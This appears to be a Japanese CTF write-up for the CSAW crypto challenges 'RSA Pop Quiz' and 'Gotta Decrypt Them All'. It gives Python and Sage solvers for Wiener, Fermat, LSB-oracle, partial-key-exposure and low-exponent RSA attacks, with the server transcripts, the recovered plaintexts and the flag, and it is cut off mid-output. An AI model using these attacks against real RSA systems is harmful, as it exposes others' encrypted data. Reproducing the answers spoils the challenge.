
#### Part 1 ####
data = recvuntil(s, '?\r\n').rstrip()
print(data)

N = int(data.splitlines()[2].split(' ')[-1])
e = int(data.splitlines()[3].split(' ')[-1])
c = int(data.splitlines()[4].split(' ')[-1])
d = wieners_attack(e, N)
m = pow(c, d, N)
plaintext = long_to_bytes(m)
print(plaintext)
s.sendall(plaintext + '\n')
data = recvuntil(s, '\r\n').rstrip()
print(data)

#### Part 2 ####
data = recvuntil(s, '?\r\n').rstrip()
print(data)

N = int(data.splitlines()[2].split(' ')[-1])
e = int(data.splitlines()[3].split(' ')[-1])
c = int(data.splitlines()[4].split(' ')[-1])
p, q = fermat(N)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
plaintext = long_to_bytes(m)
print(plaintext)
s.sendall(plaintext + '\n')
data = recvuntil(s, '\r\n').rstrip()
print(data)

#### Part 3 ####
data = recvuntil(s, ')\r\n').rstrip()
print(data)

N = int(data.splitlines()[2].split(' ')[-1])
e = int(data.splitlines()[3].split(' ')[-1])
c = int(data.splitlines()[4].split(' ')[-1])

bounds = [0, Fraction(N)]

m = 0
while True:
    c2 = (c * pow(2, e, N)) % N
    lsb = lsb_oracle(s, c2)
    if lsb == 1:
        bounds[0] = sum(bounds)/2
    else:
        bounds[1] = sum(bounds)/2
    diff = bounds[1] - bounds[0]
    diff = diff.numerator / diff.denominator
    if diff == 0:
        lsb_continue(s, 'no')
        m = bounds[1].numerator / bounds[1].denominator
        break
    else:
        lsb_continue(s, 'yes')
    c = c2

plaintext = long_to_bytes(m)
print plaintext
s.sendall(plaintext + '\n')
data = recvuntil(s, '\r\n').rstrip()
print(data)

#### Part 4 ####
data = recvuntil(s, '?\r\n').rstrip()
print(data)

実行結果は以下の通り。

Part 1 --> This is one of the most common RSA attacks in CTFs!

N = 64966240030622416154839827358419075787700771225076921979975519819154379405907914717101294108015192141036047346810295220638782496631671743842278813053579406552862077347599267299527505522824709921132036362672401353388280386832508538652443480504691404328800041296994272057227802594287137033629372917298396205191
e = 18897396846109758481310934994296350806569267455701311992638766018627831581009309492821843466468973510333979530532120915905743086916072900463338998248102631007437910144192787267636874586386795287942218953927853971469553974554238093433441486519100803296643451885175277621423454405914938416196598594294858816375
c = 10288046343769309352038206359354318857835082912701170439434605861690327425219086892948000634310828315814021366481610878615330506478118357269212201339503086185635842539317792028973305053463479633128408639025579945030309123981804583724043342244929765529405639948295384349266719842472519935827521371648600621879

What is the plaintext?
Wiener wiener chicken dinner★
Success!
Part 2 --> Sexy primes were used to make the modulus!

N = 45591594543939036820581386282432430634955511505150874457884359540572791976098908634789254370635340951180420426249770205038465453036549929252077499917223028597156933864766645758057971022945137582325989558087380734338603952458808958686437329653639491787734717063675333378655914214268579152057338140895926822491
e = 65537
c = 1708819600505262662539757775443954762683877936532473290727105020006945400857696115070453339081578199050469415470540794379293606139546129994163640808382612444667923489770883470272982436648490695992903391654824793932805394803400703739482023640385634279438253184886814712191392363709244699867909525156210059364

What is the plaintext?
Who came up with this math term anyway?★
Success!
Part 3 --> Looks like there is a oracle which is telling the LSB of the plaintext. That will not help you, right?

N = 109348420627756394000768307621000140796762408681674290280503383662718887865271066160414557156837970223840962200617929486260708982938463365024216272298079386239587157406106833121579380686823642057127848623201143329088238125552866329719675775914925733415134594453945302024641396321470463986568239065915058166509
e = 65537
c = 102219966092978666136905985476473513076730266069351004765113054416554816684047329686835952891208604017623807256925869923546280554066663353452874562113606734151684202401268135164127466689640303236108907937347738312083759283678094362520433924354019998048687356209621055622260598528334209087995017380709399476003

What would you like to decrypt? (please respond with an integer)
58101787051878295673143737889830937346779825958774592954145107652091025392203919148348709641166195917217170170224635034596166995962158852368408500879016932083400613980561912499924421749347934676259288606626906862864378630004520540468405929415593170899863378911867947597671612600446014882776003783388390820500

The oracle responds with: 0
Would you like to continue? (yes/no)
yes

What would you like to decrypt? (please respond with an integer)
21195387716739457498770225156930606664626809677658271950603879325589619135196073392865833016406558459298174051599941854248154440860637778737188164436426768514693793440065047988065393182622312111758810479758546620734517515999523422673095709011895841378003049575595189068189765806659423622078091463103648797755

The oracle responds with: 0
Would you like to continue? (yes/no)
yes

                :

What would you like to decrypt? (please respond with an integer)
97090479463767367266144858706966696872858612685074568798977905817980050283622011349579903601171589062514501731617284966201794789821959640815373500458993691252191844650813200300560194198624117060001473815679990625202757425927750306343133690448812794267475176286942595651306433929723374277942685790092023853163

The oracle responds with: 0
Would you like to continue? (yes/no)
no

What is the plaintext?
Totally did not mean to put an oracle there★
Success!
Part 4 --> Oops, looks like I leaked part of the private key. Hope that doesn't come back to bite me!

N = 132682485803007099170424605940744898698288032907359531404311358689896921894394276311289421570502755510540171857625782559259936160050939005721985759875822326177754881128394850748044495701494647981635565335755052568561168111300052786557505645328497636109516071109811226177599105551923507900026268168095997962219
e = 17
d0 = 12061421581045547984738981416661612812979557949924175556577182750790198461467294035656279662728773071179872302537194516065966306163352529359051235330625201
c = 33742456768040833693431609406454945818439152783101388625351840125597392858468769560111011691367935143612704350187927907776510550984267239989726968960539378753293336524458341747441346573942609816271185540849660910160639192981312793330720752937763828849018126002943985420247023073683850935357468022129481891622
d0bits = 512
nBits = 1024

What is the plaintext?

最後にsageを使って、Partial Key Exposure Attackで復号する。

#!/usr/bin/sage
from Crypto.Util.number import *

def partial_p(p0, kbits, n):
    PR.<x> = PolynomialRing(Zmod(n))
    nbits = n.nbits()
    f = 2^kbits*x + p0
    f = f.monic()
    roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3)  # find root < 2^(nbits//2-kbits) with factor >= n^0.3
    if roots:
        x0 = roots[0]
        p = gcd(2^kbits*x0 + p0, n)
        return ZZ(p)
def find_p(d0, kbits, e, n):
    X = var('X')
    for k in range(1, e+1):
        results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
        for x in results:
            p0 = ZZ(x[0])
            p = partial_p(p0, kbits, n)
            if p:
                return p

if __name__ == '__main__':
    N = 132682485803007099170424605940744898698288032907359531404311358689896921894394276311289421570502755510540171857625782559259936160050939005721985759875822326177754881128394850748044495701494647981635565335755052568561168111300052786557505645328497636109516071109811226177599105551923507900026268168095997962219
    e = 17
    d0 = 12061421581045547984738981416661612812979557949924175556577182750790198461467294035656279662728773071179872302537194516065966306163352529359051235330625201
    c = 33742456768040833693431609406454945818439152783101388625351840125597392858468769560111011691367935143612704350187927907776510550984267239989726968960539378753293336524458341747441346573942609816271185540849660910160639192981312793330720752937763828849018126002943985420247023073683850935357468022129481891622
    d0bits = 512
    nBits = 1024

    p = find_p(d0, d0bits, e, N)
    q = N // p
    phi = (p - 1) * (q - 1)
    d = inverse_mod(e, phi)
    m = pow(c, d, N)
    plaintext = long_to_bytes(m)
    print(plaintext)

復号結果は以下の通り。

I'll be careful next time to not leak the key★

nc接続し、手動でここまで復号した平文を入力していく。

$ nc crypto.chal.csaw.io 5008
Part 1 --> This is one of the most common RSA attacks in CTFs!

N = 57617918741128191583229588318384729085119885425668753907446952842586645861666815267839632079563824412545600301808698355017350597224411369604831290911127344070166445311658738681065923707309169618133294419524524550000860539642979691736394333710071746531065692557021273452140144532143770001705929676449759937621
e = 14858060365944842673412188305642410338564983111885306332589507876553373824896256836885663767524831616661981834693871737187139258325450841130092123222898014095591216155373017382279794513778319406293152816524633461536000589359315075544546343018965651012864921767810338686881525299572470395390153216211542495731
c = 35715846185117431946821533506741315394122314639603262003238720681590430245351810458532502476778891542011081223501067422392078718670824919144896518751129740642470182379389308397654532193225526699213561189055169096506504501303020539608821164113210417957177817217713976953101782835645328060179709425225037979568

What is the plaintext?
Wiener wiener chicken dinner
Success!
Part 2 --> Sexy primes were used to make the modulus!

N = 95585325793539053915860304319728969840644989079527294697749247414650396512551723460189054317475031935552859316594916940268613125197360225839725677067855277077719661798291394467740467448073174262687410035467994658870903157261987186336137081402469855573155805882621958091665703430680631712361323034287008275591
e = 65537
c = 92718411798395462674971316863377528179727808586679176939278617378359986342961875012624458182184695433169252212840724588071530498219438581458777082601960446356514508062953010685888036702835152515953566759492087517867460210499349454194749398178950341969866062349961639032769722009080694820379991773839703034635

What is the plaintext?
Who came up with this math term anyway?
Success!
Part 3 --> Looks like there is a oracle which is telling the LSB of the plaintext. That will not help you, right?

N = 128602630724080646290983422735529393496609427796937239988768550470943022367335042142716441441369646064313976865399466202779377033933421223644473767413921854052780199847964437733082652716671950769859170556687338466600542791554687042559856626664046840655865125069627796881314078494842123965163725677517344036761
e = 65537
c = 85972682782237037253861162305837391120394155520924154767157996280794456396702966114968536360208330224740715022173131419260097476202495193602331370958390133251854523465921125224261880528349111256367878722760145333157075019989974436931271337625366718961930698640578383536311772908361124229779985722699833303384

What would you like to decrypt? (please respond with an integer)
1

The oracle responds with: 1
Would you like to continue? (yes/no)
no

What is the plaintext?
Totally did not mean to put an oracle there
Success!
Part 4 --> Oops, looks like I leaked part of the private key. Hope that doesn't come back to bite me!

N = 83911915786432272732898540763482241212381869303498512733861924625622652364299877685065336430745276995041262296874471585917795892240662482469346420388286620619511493358447310007362336901129834288907162199213109773696379865751592775871080704586458811639234689628483355785678455301578325045615004045344445996699
e = 17
d0 = 11222654586318802857348160869400000993441761116256321171688162861296485610127291197865166668145094066146054831200383190666023443958097130222261367784469825
c = 76316705228196123833643948181589241430980706581675687634416325224906065750882676205124830094697661543853983359742169850449507187995701436014309559846372830746866299982251110117963533813833146452125765180943827694830666559625676725150763711402719667665694441881646048420743172497306344425789642649599467128049
d0bits = 512
nBits = 1024

What is the plaintext?
I'll be careful next time to not leak the key
Success!

Congrats on passing the RSA Pop Quiz! Here is your flag: flag{l00K5_L1K3_y0u_H4v3_p4223D_7h3_D1ff1Cul7_r54_p0p_Kw12_w17H_fLy1N9_C0L0r2}
flag{l00K5_L1K3_y0u_H4v3_p4223D_7h3_D1ff1Cul7_r54_p0p_Kw12_w17H_fLy1N9_C0L0r2}

Gotta Decrypt Them All (crypto)

問題はモールス信号になっている。/ で区切り、デコードするとASCIIコードになっているので、さらにデコードする。base64文字列になるので、デコードすると、RSA暗号のパラメータが表示される。c, eが小さいためLow Public-Exponent Attackで復号する。その後rot13でデコードする。この問題に繰り返し答えていく。

import socket
import base64
import gmpy
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

morse = {'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E',
    '..-.': 'F', '--.': 'G', '....': 'H', '..': 'I', '.---': 'J', '-.-': 'K',
    '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O', '.--.': 'P', '--.-': 'Q',
    '.-.': 'R', '...': 'S', '-': 'T', '..-': 'U', '...-': 'V', '.--': 'W',
    '-..-':'X' , '-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1',
    '..---': '2', '...--': '3', '....-': '4', '.....': '5', '-....': '6',
    '--...': '7', '---..': '8', '----.': '9'
}

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.csaw.io', 5001))

for _ in range(2):
    data = recvuntil(s, '\n').rstrip()
    print data

for i in range(6):
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data
    words = data.split(' /')

    codes = []
    for word in words:
        cs = word.rstrip().split(' ')
        w = ''
        for c in cs:
            w += morse[c]
        codes.append(int(w))

    enc = ''
    for code in codes:
        enc += chr(code)

    enc = base64.b64decode(enc)
    print enc

    N = int(enc.splitlines()[0].split(' ')[-1])
    e = int(enc.splitlines()[1].split(' ')[-1])
    c = int(enc.splitlines()[2].split(' ')[-1])

    m = gmpy.root(c, e)[0]
    dec = long_to_bytes(m)
    plaintext = dec.decode('rot13')

    data = recvuntil(s, '>> ')
    print data + plaintext
    s.sendall(plaintext + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Can you decrypt them all to prove yourself?

What does this mean?
---.. ....- /.---- ----- ..... /-.... ..... /..... --... /--... ...-- /-.... ---.. /-.... ----. /....- ---.. /--... --... /.---- ----- -.... /----. ----. /..... ...-- /--... ---.. /.---- ..--- ..--- /----. ----. /....- ---.. /--... --... /.---- ----- -.... /.---- ----- ...-- /....- ----. /--... ----. /-.... ---.. /.---- ----- ...-- /..... ----- /--... --... /.---- ----- -.... /-.... ----. /....- ---.. /--... --... /-.... ---.. /.---- ----- ...-- /..... ...-- /--... --... /.---- ----- -.... /---.. ..... /....- ----. /--... --... /.---- ----- -.... /.---- ----- ...-- /....- ----. /--... ---.. /---.. ....- /.---- ----- --... /.---- .---- ----. /--... ----. /-.... ---.. /---.. ----. /.---- ..--- ----- /--... ---.. /---.. ....- /---.. ..... /.---- ..--- ----- /--... ----. /---.. ....- /-.... ----. /....- ---.. /--... --... /---.. ....- /----. ----. /....- ----. /--... --... /.---- ----- -.... /--... --... /..... ...-- /--... --... /.---- ----- -.... /-.... ----. /....- ---.. /--... --... /-.... ---.. /---.. ----. /....- ----. /--... ----. /-.... ---.. /---.. ----. /..... ----- /--... ---.. /-.... ---.. /.---- ----- ...-- /.---- ..--- ----- /--... ----. /---.. ....- /--... ...-- /.---- .---- ----. /--... --... /.---- ..--- ..--- /--... --... /..... ..--- /--... ---.. /-.... ---.. /--... ...-- /.---- ..--- ----- /--... --... /---.. ....- /.---- ----- ...-- /....- ---.. /--... --... /.---- ----- -.... /---.. .---- /.---- .---- ----. /--... ---.. /.---- ..--- ..--- /----. ----. /....- ----. /--... ---.. /.---- ..--- ..--- /---.. .---- /..... ...-- /--... ---.. /.---- ..--- ..--- /---.. ----. /.---- ..--- ..--- /--... --... /-.... ---.. /---.. ----. /..... ...-- /--... ---.. /-.... ---.. /---.. ----. /.---- ..--- .---- /--... ----. /---.. ....- /----. ----. /....- ---.. /--... ----. /---.. ....- /-.... ----. /.---- ..--- ..--- /--... ----. /-.... ---.. /----. ----. /.---- ..--- ..--- /--... --... /---.. ....- /----. ----. /..... ...-- /--... ----. /---.. ....- /-.... ----. /.---- ..--- .---- /--... --... /.---- ----- -.... /---.. .---- /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /---.. ..... /....- ----. /--... ---.. /.---- ..--- ..--- /.---- ----- --... /..... ..--- /--... --... /.---- ..--- ..--- /---.. .---- /.---- .---- ----. /--... --... /---.. ....- /-.... ----. /.---- ..--- ----- /--... ----. /---.. ....- /-.... ----. /....- ---.. /--... ---.. /.---- ----- -.... /--... --... /.---- ..--- .---- /--... ----. /---.. ....- /---.. ----. /.---- ..--- ..--- /--... ---.. /---.. ....- /-.... ----. /.---- .---- ----. /--... --... /---.. ....- /-.... ----. /..... ..--- /--... ---.. /.---- ----- -.... /---.. ..... /....- ----. /--... --... /.---- ----- -.... /---.. ----. /.---- .---- ----. /--... ---.. /.---- ----- -.... /--... ...-- /.---- ..--- ..--- /--... --... /-.... ---.. /----. ----. /.---- .---- ----. /--... --... /-.... ---.. /---.. ----. /.---- ..--- ----- /--... --... /---.. ....- /---.. ----. /..... .---- /--... ---.. /.---- ..--- ..--- /--... ...-- /.---- ..--- ----- /--... ---.. /.---- ----- -.... /-.... ..... /..... ..--- /--... ---.. /.---- ----- -.... /---.. ..... /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /--... ...-- /..... ..--- /--... ----. /---.. ....- /-.... ----. /..... ..--- /--... --... /-.... ---.. /--... --... /.---- ..--- ..--- /--... --... /.---- ----- -.... /---.. ----. /.---- ..--- ..--- /--... --... /-.... ---.. /---.. ..... /.---- .---- ----. /--... --... /-.... ---.. /--... --... /..... ..--- /--... ---.. /.---- ..--- ..--- /-.... ----. /.---- .---- ----. /--... --... /.---- ..--- ..--- /--... ...-- /..... .---- /--... --... /---.. ....- /----. ----. /.---- .---- ----. /--... ---.. /.---- ..--- ..--- /-.... ..... /.---- ..--- ..--- /--... --... /.---- ----- -.... /----. ----. /.---- ..--- .---- /--... ----. /-.... ---.. /---.. ----. /..... ...-- /--... ---.. /.---- ..--- ..--- /---.. ..... /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /--... --... /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /---.. .---- /.---- .---- ----. /--... --... /---.. ....- /.---- ----- --... /..... .---- /--... --... /-.... ---.. /---.. .---- /.---- .---- ----. /--... ---.. /.---- ..--- ..--- /----. ----. /.---- .---- ----. /--... ---.. /---.. ....- /----. ----. /..... ----- /--... ---.. /.---- ----- -.... /-.... ..... /....- ----. /--... --... /.---- ----- -.... /--... --... /..... ...-- /--... ---.. /.---- ..--- ..--- /--... ...-- /.---- ..--- ..--- /--... --... /-.... ---.. /---.. ----. /..... .---- /--... ---.. /-.... ---.. /---.. ----. /.---- ..--- ..--- /--... ---.. /-.... ---.. /.---- ----- ...-- /..... ----- /--... ---.. /.---- ----- -.... /-.... ----. /..... ..--- /--... ----. /---.. ....- /.---- ----- --... /..... ----- /--... --... /.---- ----- -.... /.---- ----- ...-- /.---- ..--- ..--- /--... ---.. /-.... ---.. /---.. ----. /..... .---- /--... --... /-.... ---.. /----. ----. /.---- ..--- ----- /--... ---.. /---.. ....- /--... --... /.---- .---- ----. /--... --... /---.. ....- /----. ----. /..... ..--- /--... --... /.---- ..--- ..--- /---.. ..... /.---- .---- ----. /--... ----. /-.... ---.. /-.... ----. /.---- ..--- ..--- /--... ----. /---.. ....- /---.. ..... /..... .---- /--... --... /---.. ....- /---.. ..... /....- ---.. /--... --... /.---- ..--- ..--- /---.. .---- /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /-.... ----. /....- ----. /--... ---.. /---.. ....- /---.. .---- /....- ---.. /--... ----. /-.... ---.. /-.... ----. /..... .---- /--... --... /---.. ....- /--... --... /.---- .---- ----. /--... --... /---.. ....- /--... --... /.---- ..--- ..--- /--... ----. /-.... ---.. /.---- ----- --... /.---- .---- ----. /--... ---.. /.---- ----- -.... /--... --... /....- ---.. /--... ---.. /.---- ..--- ..--- /---.. ..... /.---- ..--- ----- /--... ---.. /-.... ---.. /----. ----. /.---- ..--- .---- /--... --... /.---- ----- -.... /-.... ----. /..... .---- /--... ----. /---.. ....- /---.. .---- /..... ...-- /--... ----. /-.... ---.. /---.. .---- /....- ---.. /--... --... /---.. ....- /.---- ----- --... /.---- ..--- .---- /--... ---.. /.---- .---- ----. /.---- .---- ..--- /.---- ----- ---.. /--... ...-- /-.... ---.. /....- ---.. /.---- ----- ...-- /--... --... /.---- .---- ----. /.---- .---- ..--- /.---- ----- -.... /--... ...-- /-.... ---.. /....- ---.. /.---- ----- ...-- /--... --... /---.. ....- /---.. ..... /.---- ..--- .---- /--... --... /---.. ....- /---.. ----. /..... .---- /--... ---.. /-.... ---.. /--... ...-- /....- ---.. /--... --... /.---- ----- -.... /----. ----. /.---- ..--- ..--- /--... ----. /---.. ....- /----. ----. /..... .---- /--... ---.. /-.... ---.. /--... --... /..... ----- /--... ---.. /.---- ..--- ..--- /-.... ..... /.---- ..--- .---- /--... ----. /-.... ---.. /.---- ----- --... /.---- .---- ----. /--... --... /.---- ----- -.... /----. ----. /.---- ..--- ..--- /--... --... /.---- ----- -.... /----. ----. /....- ---.. /--... ---.. /---.. ....- /-.... ..... /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /--... --... /....- ---.. /--... --... /-.... ---.. /-.... ----. /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /---.. ----. /....- ----. /--... ----. /-.... ---.. /.---- ----- ...-- /.---- ..--- .---- /--... ---.. /-.... ---.. /.---- ----- ...-- /..... .---- /--... --... /-.... ---.. /-.... ..... /..... ..--- /--... --... /.---- ..--- ..--- /--... --... /..... ..--- /--... ----. /---.. ....- /----. ----. /.---- ..--- ..--- /--... --... /.---- ----- -.... /--... --... /.---- ..--- .---- /--... ---.. /---.. ....- /-.... ..... /.---- ..--- .---- /--... --... /---.. ....- /----. ----. /.---- .---- ----. /--... --... /.---- ..--- ..--- /---.. ..... /..... ----- /--... --... /.---- ..--- ..--- /----. ----. /....- ----. /--... --... /---.. ....- /---.. .---- /..... ..--- /--... ----. /-.... ---.. /-.... ----. /..... ..--- /--... ---.. /.---- ----- -.... /-.... ..... /..... ...-- /--... ---.. /.---- ----- -.... /--... ...-- /.---- ..--- ----- /--... ----. /-.... ---.. /---.. ----. /.---- ..--- ..--- /--... ----. /---.. ....- /----. ----. /....- ----. /--... --... /.---- ----- -.... /---.. ..... /..... -----
N = 142797742858862140892552855908615519141752392140658664819203384211842407757497630694629749138731799122433557983401119146329635101186552606230700611677216086517289180332630500387103271707032728697527327401970407705766052397230674634866189962834670715301783508139571543433155448171301338906347514722179498441927
e = 3
c = 152167424273977436702890273274501734012765882487008338973232502170356375148818609621863975256
>> Pokemon Names
You are correct!

What does this mean?
---.. ....- /.---- ----- ..... /-.... ..... /..... --... /--... ...-- /-.... ---.. /.---- ----- ...-- /....- ---.. /--... --... /-.... ---.. /---.. ..... /....- ----. /--... --... /-.... ---.. /---.. .---- /.---- .---- ----. /--... --... /.---- ----- -.... /.---- ----- ...-- /.---- ..--- ..--- /--... ---.. /.---- ----- -.... /----. ----. /..... ...-- /--... ---.. /---.. ....- /----. ----. /.---- ..--- ..--- /--... --... /---.. ....- /---.. .---- /..... ..--- /--... --... /.---- ----- -.... /--... ...-- /....- ---.. /--... ---.. /.---- ----- -.... /---.. ..... /..... ..--- /--... ---.. /.---- ----- -.... /-.... ----. /..... .---- /--... ----. /-.... ---.. /--... --... /..... ----- /--... --... /-.... ---.. /--... --... /....- ----. /--... ---.. /---.. ....- /----. ----. /....- ----. /--... --... /---.. ....- /-.... ..... /.---- ..--- ..--- /--... --... /---.. ....- /.---- ----- --... /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /----. ----. /.---- ..--- ----- /--... ----. /-.... ---.. /---.. ..... /.---- ..--- .---- /--... --... /.---- ..--- ..--- /---.. ..... /.---- ..--- .---- /--... ---.. /---.. ....- /.---- ----- ...-- /..... ..--- /--... --... /-.... ---.. /--... ...-- /.---- ..--- ----- /--... --... /-.... ---.. /-.... ..... /.---- .---- ----. /--... --... /.---- ..--- ..--- /----. ----. /..... .---- /--... ----. /-.... ---.. /-.... ..... /.---- .---- ----. /--... ---.. /.---- ----- -.... /---.. .---- /..... ...-- /--... ---.. /-.... ---.. /.---- ----- ...-- /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /--... ...-- /..... .---- /--... ---.. /---.. ....- /.---- ----- ...-- /..... ----- /--... ---.. /---.. ....- /---.. ----. /.---- .---- ----. /--... --... /.---- ..--- ..--- /-.... ..... /..... ...-- /--... --... /---.. ....- /----. ----. /.---- ..--- ----- /--... --... /.---- ..--- ..--- /.---- ----- ...-- /.---- .---- ----. /--... ---.. /-.... ---.. /.---- ----- --... /.---- .---- ----. /--... ---.. /-.... ---.. /---.. ..... /.---- .---- ----. /--... ----. /---.. ....- /---.. .---- /..... ----- /--... ---.. /.---- ..--- ..--- /--... ...-- /.---- ..--- ----- /--... ----. /---.. ....- /----. ----. /....- ---.. /--... ----. /-.... ---.. /.---- ----- ...-- /.---- ..--- ..--- /--... --... /---.. ....- /-.... ..... /....- ---.. /--... --... /.---- ..--- ..--- /--... ...-- /.---- ..--- ..--- /--... --... /.---- ----- -.... /---.. ..... /.---- ..--- ----- /--... ---.. /---.. ....- /--... ...-- /....- ---.. /--... ----. /-.... ---.. /----. ----. /....- ----. /--... ----. /-.... ---.. /--... --... /....- ----. /--... ----. /---.. ....- /---.. .---- /.---- .---- ----. /--... --... /---.. ....- /--... ...-- /..... ...-- /--... --... /---.. ....- /.---- ----- --... /.---- ..--- ..--- /--... ---.. /-.... ---.. /.---- ----- ...-- /..... ----- /--... ---.. /-.... ---.. /--... --... /..... .---- /--... --... /.---- ..--- ..--- /.---- ----- --... /....- ---.. /--... --... /.---- ..--- ..--- /--... ...-- /..... ...-- /--... ----. /-.... ---.. /.---- ----- ...-- /..... ...-- /--... --... /-.... ---.. /--... ...-- /....- ---.. /--... --... /---.. ....- /--... ...-- /....- ---.. /--... ---.. /.---- ..--- ..--- /-.... ..... /.---- ..--- ..--- /--... ---.. /---.. ....- /---.. ..... /.---- ..--- ----- /--... ---.. /---.. ....- /---.. .---- /....- ---.. /--... --... /.---- ..--- ..--- /--... ...-- /..... .---- /--... ----. /---.. ....- /----. ----. /..... ----- /--... ----. /---.. ....- /.---- ----- ...-- /..... .---- /--... ----. /---.. ....- /.---- ----- ...-- /..... .---- /--... ---.. /.---- ..--- ..--- /---.. ----. /.---- ..--- .---- /--... --... /---.. ....- /----. ----. /....- ---.. /--... --... /-.... ---.. /.---- ----- ...-- /.---- ..--- ----- /--... --... /---.. ....- /---.. .---- /.---- .---- ----. /--... --... /-.... ---.. /----. ----. /....- ----. /--... ----. /-.... ---.. /.---- ----- --... /.---- .---- ----. /--... ----. /-.... ---.. /---.. .---- /..... ----- /--... ---.. /.---- ----- -.... /.---- ----- --... /..... ----- /--... ----. /---.. ....- /---.. ..... /..... ..--- /--... ---.. /.---- ----- -.... /---.. .---- /....- ---.. /--... ----. /-.... ---.. /---.. ----. /.---- ..--- .---- /--... ----. /---.. ....- /---.. ..... /..... ...-- /--... ----. /---.. ....- /-.... ..... /..... .---- /--... --... /-.... ---.. /--... --... /.---- ..--- ..--- /--... ----. /-.... ---.. /--... ...-- /..... ...-- /--... --... /.---- ----- -.... /-.... ..... /....- ---.. /--... ---.. /.---- ..--- ..--- /-.... ..... /..... ..--- /--... ---.. /---.. ....- /---.. .---- /..... ----- /--... ----. /-.... ---.. /----. ----. /.---- ..--- ..--- /--... ----. /-.... ---.. /.---- ----- ...-- /.---- ..--- .---- /--... ---.. /.---- ----- -.... /.---- ----- --... /..... ..--- /--... --... /.---- ----- -.... /---.. ----. /.---- ..--- ----- /--... ----. /-.... ---.. /-.... ..... /..... ...-- /--... ----. /-.... ---.. /----. ----. /..... .---- /--... ---.. /---.. ....- /-.... ----. /....- ---.. /--... ---.. /.---- ..--- ..--- /----. ----. /..... ----- /--... ---.. /-.... ---.. /--... --... /..... .---- /--... --... /.---- ----- -.... /---.. ..... /.---- ..--- .---- /--... ---.. /.---- ----- -.... /---.. ----. /....- ----. /--... --... /-.... ---.. /-.... ..... /....- ----. /--... ---.. /---.. ....- /.---- ----- --... /....- ---.. /--... ---.. /.---- ..--- ..--- /.---- ----- ...-- /.---- .---- ----. /--... --... /.---- ..--- ..--- /----. ----. /....- ---.. /--... ---.. /-.... ---.. /.---- ----- ...-- /....- ---.. /--... ---.. /.---- ..--- ..--- /--... ...-- /.---- ..--- ----- /--... ----. /---.. ....- /---.. .---- /..... ..--- /--... ---.. /.---- ..--- ..--- /---.. ..... /.---- ..--- .---- /--... ----. /---.. ....- /---.. ----. /..... ...-- /--... --... /.---- ----- -.... /.---- ----- ...-- /.---- .---- ----. /--... ---.. /---.. ....- /--... ...-- /.---- ..--- ..--- /--... ----. /---.. ....- /---.. ----. /.---- ..--- .---- /--... ---.. /.---- ..--- ..--- /.---- ----- ...-- /.---- ..--- ..--- /--... --... /.---- ..--- ..--- /---.. .---- /.---- ..--- ----- /-.... --... /.---- ----- ----. /---.. ..... /.---- ----- ...-- /---.. ----- /---.. ...-- /-.... ..... /.---- ..--- ..--- /-.... --... /.---- ----- ----. /--... --... /.---- ----- ...-- /---.. ----- /---.. ...-- /-.... ..... /..... .---- /--... ---.. /-.... ---.. /---.. ..... /..... ----- /--... ----. /-.... ---.. /----. ----. /..... .---- /--... ---.. /.---- ----- -.... /.---- ----- --... /..... ..--- /--... ---.. /.---- ..--- ..--- /---.. .---- /.---- ..--- .---- /--... --... /.---- ----- -.... /.---- ----- ...-- /..... .---- /--... ---.. /.---- ----- -.... /.---- ----- --... /..... ----- /--... ----. /-.... ---.. /--... --... /....- ----. /--... ---.. /.---- ..--- ..--- /---.. ----. /.---- .---- ----. /--... ----. /---.. ....- /-.... ..... /..... .---- /--... --... /.---- ----- -.... /-.... ----. /.---- ..--- .---- /--... ----. /---.. ....- /.---- ----- --... /..... ...-- /--... --... /---.. ....- /---.. ..... /.---- ..--- .---- /--... ----. /-.... ---.. /---.. ----. /.---- .---- ----. /--... ----. /---.. ....- /----. ----. /-.... .----
N = 84055040283679573148224658617836035575103192771852352588021000377800649482727586560309171380490450946721974883104323251524875835940129193486437394329889024124703551544327976987987762174081140075890846696958644862959907033829204708546873882698261809877514776437252665005594780374484721948752969280523962783341
e = 3
c = 745687769874228769683576090721299915286097
>> Elekid
You are correct!

What does this mean?
---.. ....- /.---- ----- ..... /-.... ..... /..... --... /--... ...-- /-.... ---.. /-.... ----. /.---- ..--- ----- /--... ---.. /---.. ....- /--... --... /..... .---- /--... ---.. /-.... ---.. /---.. .---- /..... ----- /--... --... /-.... ---.. /---.. ----. /....- ---.. /--... --... /.---- ----- -.... /--... --... /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /---.. .---- /.---- ..--- .---- /--... ---.. /.---- ----- -.... /.---- ----- ...-- /....- ----. /--... ---.. /-.... ---.. /-.... ..... /.---- ..--- .---- /--... ----. /-.... ---.. /---.. .---- /.---- ..--- .---- /--... --... /.---- ..--- ..--- /.---- ----- --... /.---- ..--- .---- /--... ---.. /.---- ----- -.... /-.... ----. /....- ----. /--... ----. /---.. ....- /---.. ..... /..... .---- /--... ----. /-.... ---.. /-.... ----. /.---- ..--- ..--- /--... ---.. /.---- ..--- ..--- /.---- ----- --... /..... ..--- /--... --... /.---- ----- -.... /-.... ----. /.---- ..--- ----- /--... ---.. /.---- ..--- ..--- /--... --... /.---- .---- ----. /--... ---.. /.---- ----- -.... /----. ----. /..... ----- /--... ----. /-.... ---.. /--... ...-- /....- ----. /--... ---.. /---.. ....- 